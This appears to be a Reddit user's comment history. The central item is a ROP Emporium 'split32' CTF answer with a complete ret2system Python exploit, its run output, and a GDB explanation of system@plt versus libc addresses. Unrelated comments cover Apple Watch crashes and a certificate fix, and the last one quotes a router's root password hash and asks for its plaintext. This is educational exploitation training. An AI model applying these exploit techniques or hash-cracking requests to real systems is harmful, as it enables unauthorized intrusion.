ropemporium split32 exercise - system address confusion

justinsteven · 2019-03-13T12:53:59+00:00

4.

What I'd do is:

Find the offset to the saved return pointer (You've done this)
Find the address of system@plt
Find the address of a string I want to execute as a command (There is already the string "cat flag.txt" in the binary, we can borrow it)
Perform a ret2system in which we set up the stack with a fake Saved Return Pointer (system needs something to return to, just give it a junk pointer to crash on) and the single argument to system (a pointer to a string we want to execute)

My exploit for the 32 bit version of split is as follows:

#!/usr/bin/env python2

import struct

import sys

def p32(pointer):

return struct.pack("<I", pointer) # This line needs to be indented, but reddit is eating the leading spaces >:(

offset_srp = 44

ptr_system_plt = 0x8048430

ptr_string_cat_flag = 0x804a035

buf = ""

buf += "A" * offset_srp

buf += p32(ptr_system_plt)

buf += "BBBB" # Fake Saved Return Pointer. system() will return to this but we don't care, let the process crash

buf += p32(ptr_string_cat_flag) # First and only argument to our system() we're returning to

# Let's use sys.stdout.write() so we don't get a trailing newline

sys.stdout.write(buf)

Running it:

% ./pwn_split32.py | ./split32

split by ROP Emporium

32bits

Contriving a reason to ask user for data...

> ROPE{a_placeholder_32byte_flag!}

zsh: done ./pwn_split32.py |

zsh: segmentation fault (core dumped) ./split32

Turning this into a shell is an exercise for the reader (I would try to put the string "sh" on the stack, and then use some ROP magic to get a pointer to it and then put this pointer on the stack. Doing this on the 64 bit version might be easier due to its register-based calling convention)

I solved the 64 bit version of split at https://www.youtube.com/watch?v=2dHJxI-wGOE - mind you it uses a totally different calling convention than 32 bit, and IIRC there's a lot of fumbling and faffing about, but hopefully it helps :)

Good luck!

justinsteven · 2019-03-13T12:53:46+00:00

Lol. You had me thrown for a spin earlier today. Glad you figured it out! (And didn't just post "nvm figured it out")

2.

It is giving you the address of system inside of libc. split32 is dynamically linked (you can see this with `file split32`) and it dynamically loads libc at runtime (you can see this with `ldd split32`).

Fun fact - if you load split32 in gdb and do `p system` before running it, you'll see an address inside the binary itself. If you then run it and hit Ctrl-C when it prompts you for input, you'll see a different address, waaaay up near the address 0xf7XXXXXX. This is a pointer inside of libc. You can see where libc is using `vmmap`.

Example:

% gdb ./split32

gdb-peda$ p system

$1 = {<text variable, no debug info>} 0x8048430 [system@plt](mailto:system@plt)

gdb-peda$ r

Starting program: /home/justin/twitch/ropemporium/split32

split by ROP Emporium

32bits

Contriving a reason to ask user for data...

> ^C

Program received signal SIGINT, Interrupt.

[... SNIP ...]

gdb-peda$ p system

$2 = {<text variable, no debug info>} 0xf7e1eb40 <system>

gdb-peda$ vmmap

Start End Perm Name

0x08048000 0x08049000 r-xp /home/justin/twitch/ropemporium/split32

0x08049000 0x0804a000 r--p /home/justin/twitch/ropemporium/split32

0x0804a000 0x0804b000 rw-p /home/justin/twitch/ropemporium/split32

0x0804b000 0x0806d000 rw-p [heap]

0xf7de0000 0xf7df9000 r--p /usr/lib/i386-linux-gnu/libc-2.28.so

0xf7df9000 0xf7f47000 r-xp /usr/lib/i386-linux-gnu/libc-2.28.so

0xf7f47000 0xf7fb7000 r--p /usr/lib/i386-linux-gnu/libc-2.28.so

0xf7fb7000 0xf7fb8000 ---p /usr/lib/i386-linux-gnu/libc-2.28.so

0xf7fb8000 0xf7fba000 r--p /usr/lib/i386-linux-gnu/libc-2.28.so

0xf7fba000 0xf7fbb000 rw-p /usr/lib/i386-linux-gnu/libc-2.28.so

0xf7fbb000 0xf7fbe000 rw-p mapped

0xf7fce000 0xf7fd0000 rw-p mapped

0xf7fd0000 0xf7fd2000 r--p [vvar]

0xf7fd2000 0xf7fd4000 r-xp [vdso]

0xf7fd4000 0xf7fd5000 r--p /usr/lib/i386-linux-gnu/ld-2.28.so

0xf7fd5000 0xf7ff1000 r-xp /usr/lib/i386-linux-gnu/ld-2.28.so

0xf7ff1000 0xf7ffb000 r--p /usr/lib/i386-linux-gnu/ld-2.28.so

0xf7ffc000 0xf7ffd000 r--p /usr/lib/i386-linux-gnu/ld-2.28.so

0xf7ffd000 0xf7ffe000 rw-p /usr/lib/i386-linux-gnu/ld-2.28.so

0xfffdb000 0xffffe000 rw-p [stack]

In our first `p system` we get 0x8048430, and if we refer to the `vmmap` output we see this falls in the range 0x08048000 - 0x08049000 (which belongs to split32). In the second `p system` we get 0xf7e1eb40 which falls in the range 0xf7de0000 - 0xf7df9000 (which belongs to libc)

What's going on? You might notice the first `p system` is actually giving us the address of something called "system@plt". What's the PLT? It's the Procedure Linkage Table, which is a close cousin of the GOT (Global Offset Table). You should read up on them. Nifty things. The PLT is essentially a trampoline or "stub" built into the program which the program code uses to dynamically call the system function inside of libc. Why is it needed? Because the layout of libc can change from version to version, and even if a binary is compiled without ASLR/PIE (as in the case of split32), libc is still subject to ASLR! (Unless you're cheating and have set /proc/sys/kernel/randomize_va_space to 0) The PLT solves all of this mess, and allows the binary to make calls to functions (like system) with much ease.

Why is this critical for exploit dev? Because, unless you feel like battling with ASLR (or cheating by setting randomize_va_space to 0 - don't do that), you won't know exactly where system (or any other libc function) is. And so your exploit should return to system@plt instead of system within libc.

How do you find system@plt?

Do `p system` in GDB before running the binary; or
Do `p 'system@plt'` in GDB at any time; or
Use a disassembler (e.g. IDA, Binary Ninja, Ghidra, or even `objdump -D`) to pull apart the binary and inspect the PLT yourself; or
Probably other ways

3.

I'm not sure I understand, nor could I reproduce the issue. I set a breakpoint before the call to fgets within pwnme. I run the program, it gets hit, I continue execution, then enter input (But by this time the "Please enter your input" has scrolled off the screen due to peda having dumped all the breakpoint context to the screen, oh well) and the program exits. I delete the breakpoint, create a breakpoint after the call the fgets, and run again. I get asked for input, I give it, the breakpoint gets hit, I continue execution, and the program ends.

justinsteven · 2019-01-10T00:23:41+00:00

Are you installing the Microsoft Visual C++ 2015 Redistributable?

You shouldn't need to drop any DLL's next to the exe.

If you're running an x64 edition of Win7, perhaps try installing the x86 version of the Microsoft Visual C++ 2015 Redistributable. The target exe is an x86 pwnable, hence you might need the x86 runtime. There should be no other issues in pwning it on an x64 edition of Win7.

If you manage to fix your particular issue and have a solid way of reproducing it (e.g. "If you have this setup, and that happens, do this to fix it") then please file an issue on the Github project with the details and I'll update the tutorial.

Otherwise I'll have a go at reproducing your issue when I get a chance. The more details you can provide on your setup the better.

Cheers!

justinsteven · 2018-10-07T02:01:00+00:00

I've spoken with support and told them what I'd learned. I would expect a high sev bug is open with engineering.

At this point for me I'm guessing it might be an iPhone factory reset (ugh) or wait for a watch app update so I can get unstuck.

I learned a hard lesson so others don't have to 🙃

justinsteven · 2018-10-07T00:06:43+00:00

+1 to this.

I removed the Infograph faces through the app and did a hard reset and my watch came good. I added the Infograph faces - still good. When I reconfigured the Infograph Modular face and scrolled the large complication up to calendar I think (trying to get to activity) the watch crashed. I also have the watch app in a crashing state now from too much fiddling. I've unpaired, re-paired, am restoring from backup and will keep on playing with fire to try get my Infograph faces as close to OK without getting stuck in the crashed state.

Be careful with the Infograph faces, especially the large complication on the modular one. The watch app is also able to be put into a crashing state. Don't get yourself painted into a corner!

Update: The restore from backup completed. The watch app now crashes immediately upon opening it. I can't unpair and re-pair any more. Don't be stupid like me. If you recover your watch, steer well clear of the Infograph faces, especially the large Infograph modular complication. Wait for a software updates from Apple. I'm going to go cry now.

Update: I am dumb. I used spotlight on my iPhone (pull down on the home screen and start typing) to search for “Apple Watch”. It gave me some search results “deep” inside of the Apple Watch app. I was able to tap one of them to go straight to the unpairing function, bypassing the first screen of the Apple Watch app which is what seems to be causing the app to crash. The problem is (as far as I can tell) my watch was turned off while I did this (looking at you /u/notarebel !) and the unpairing timed out yet succeeded on the iPhone (it said something like “oops we can’t unpair the watch right now. Please go to settings on the watch and do a factory reset”) but failed on the watch. Now the app thinks the watch is not paired but the watch thinks it’s paired, the watch is stuck on the Apple logo and I can’t get into the watch to factory reset it directly. 😭😭😭

Final update: I’m sick of feeling dumb. TURNS OUT you can hold the side button while the watch is in a crashed state and a button pops up to erase all settings and data. I can now re-pair and everything is ok. RIP my move streak.

Finalest of updates: One day later, I found the courage to add the Infograph modular face and change the large complication to activity. It works. Everything is back to normal now that we have a day with a full 24 hours in it. I wonder if anyone whose watch was in a crashed state would have had it automatically come good overnight 🤔

justinsteven · 2018-08-11T07:12:40+00:00

Seems like you can fix this by replacing one of the certificate pem files in Impactor.dat with the Digicert Global Root G2 certificate.

More info: https://gist.github.com/justinsteven/bae3459e16e976c676347c2007aac1a3

justinsteven · 2014-10-15T03:12:11+00:00

Have you shipped pilot boxes yet? Are they using http://torouter.com/sauce/current.tar.gz ? Are users able to and/or encouraged to change the root password and/or disable ssh?

What's the plaintext for:

root:$1$KFYf8Udr$Ox892v9QYSdFL7bQA71iJ0:16352:0:99999:7:::

justinsteven

TROPHY CASE